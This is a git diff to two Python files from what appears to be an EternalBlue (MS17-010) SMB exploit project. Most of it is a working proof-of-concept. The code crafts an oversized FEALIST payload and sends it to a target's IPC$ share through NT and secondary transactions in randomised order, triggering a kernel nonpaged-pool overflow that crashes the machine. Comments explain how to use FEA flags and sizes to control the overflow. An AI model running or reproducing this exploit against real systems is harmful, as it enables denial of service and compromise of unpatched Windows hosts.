diff --git a/eternalblue_exploit7.py b/eternalblue_exploit7.py
index 5f1a834..0518ffd 100644
--- a/eternalblue_exploit7.py
+++ b/eternalblue_exploit7.py
@@ -20,29 +20,7 @@ Reference:
 
 Bug detail:
 - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
-- For other bugs defailt, see BUG.txt
-- Here is related struct info.
-#####
-typedef struct _FEA {   /* fea */
-	BYTE fEA;        /* flags                              */
-	BYTE cbName;     /* name length not including NULL */
-	USHORT cbValue;  /* value length */
-} FEA, *PFEA;
-
-typedef struct _FEALIST {    /* feal */
-	DWORD cbList;   /* total bytes of structure including full list */
-	FEA list[1];    /* variable length FEA structures */
-} FEALIST, *PFEALIST;
-
-typedef struct _FILE_FULL_EA_INFORMATION {
-  ULONG  NextEntryOffset;
-  UCHAR  Flags;
-  UCHAR  EaNameLength;
-  USHORT EaValueLength;
-  CHAR   EaName[1];
-} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
-
-- The exploit also use other 2 bugs
+- The exploit also use other 2 bugs (see details in BUG.txt)
   - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
   - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
 ######
@@ -86,6 +64,8 @@ Shellcode note:
 - Then, using APC in Process context to get code execution in userland (ring 3)
 '''
 
+# Note: see how to craft FEALIST in eternalblue_poc.py
+
 # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
 # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
 # the size 0x11000 is used in nsa exploit. this size is more reliable.
diff --git a/eternalblue_poc.py b/eternalblue_poc.py
index e4726c9..48ffa08 100644
--- a/eternalblue_poc.py
+++ b/eternalblue_poc.py
@@ -1,6 +1,7 @@
 from impacket import smb
 from mysmb import MYSMB
 from struct import pack
+import random
 import sys
 
 '''
@@ -23,19 +24,69 @@ conn.login(USERNAME, PASSWORD)
 tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
 conn.set_default_tid(tid)
 
-# OOB write ~0x8c00 for BSOD
-payload = pack('<I', 0x10000)
-payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004
+'''
+To craft FEALIST for nonpaged pool overflow, we need to know following data structures.
+
+typedef struct _FEA {   /* fea */
+	BYTE fEA;        /* flags                              */
+	BYTE cbName;     /* name length not including NULL */
+	USHORT cbValue;  /* value length */
+} FEA, *PFEA;
+
+typedef struct _FEALIST {    /* feal */
+	DWORD cbList;   /* total bytes of structure including full list */
+	FEA list[1];    /* variable length FEA structures */
+} FEALIST, *PFEALIST;
+
+typedef struct _FILE_FULL_EA_INFORMATION {
+  ULONG  NextEntryOffset;
+  UCHAR  Flags;
+  UCHAR  EaNameLength;
+  USHORT EaValueLength;
+  CHAR   EaName[1];
+} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
+
+A server need to convert FEA to FILE_FULL_EA_INFORMATION. FEA is byte aligned while FILE_FULL_EA_INFORMATION is DWORD aligned.
+For example:
+- FEA '\x00\x01\x01\x00n\x00v' (flags=0, cbName=1, cbValue=1, Name='n\0', Value='v')
+  - to FILE_FULL_EA_INFORMATION '????\x00\x00\x01\x00n\x00v'+'\x00' (last byte is padding)
+- FEA '\x00\x00\x00\x00\x00' (flags=0, cbName=0, cbValue=0, Name='\0', Value='')
+  - to FILE_FULL_EA_INFORMATION '????\x00\x00\x00\x00\x00'+'\x00'*3 (last 3 bytes are padding)
+
+From last example, smallest FEA size is 5 bytes. When it is converted to FILE_FULL_EA_INFORMATION, a buffer size is 12 bytes.
+With many small FEA entries, a server need to allocate buffer for FILE_FULL_EA_INFORMATION entries much larger than input.
+This is helpful to control the size of vulnerable nonpaged pool.
+
+A FEA flags value is another important value in exploitation. Only 0 and 0x80 is valid flags. Before converting FEA to
+FILE_FULL_EA_INFORMATION, the flags is checked first. If the flags is invalid, the converting process is stopped. So we can use
+the flags value to controll how many bytes we want to overflow.
+'''
+# OOB write ~0xcc00 (OOB read ~0x8c00 too because we do not provide enough data for last FEA)
+# With this large OOB write and read, page fault should be happen (BSOD)
+payload = pack('<I', 0x10000)  # FEALIST.cbList
+payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004  # FEA
+# because of bug in SrvOs2FeaListSizeToNt(), below FEA is converted to FILE_FULL_EA_INFORMATION but a server
+# does not allocate buffer for it.
 payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
 
+# First transaction request MUST be NT transaction because we need to send a data size >=0x10000
 mid = conn.next_mid()
 # NT function can be any
-# TRANS2_OPEN2 (0)
-conn.send_nt_trans(2, setup=pack('<H', 0), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
+TRANS2_OPEN2 = 0  # need parameter at least 30 bytes
+conn.send_nt_trans(2, setup=pack('<H', TRANS2_OPEN2), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
 i = 1000
 while i < len(payload):
 	sendSize = min(4096, len(payload) - i)
-	conn.send_trans2_secondary(mid=mid, data=payload[i:i+sendSize], dataDisplacement=i)
+	# As mentioned in BUG.txt, we can send any secondary transaction for filling transaction data.
+	# Only last request that complete the transaction data need to be correct (TRANS2 in this case).
+	# We can also send data in any order.
+	method = 1 if len(payload) - i <= 4096 else random.randint(0, 2)
+	if method == 0:
+		conn.send_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
+	elif method == 1:
+		conn.send_trans2_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
+	else:
+		conn.send_nt_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
 	i += sendSize
 
 conn.recvSMB()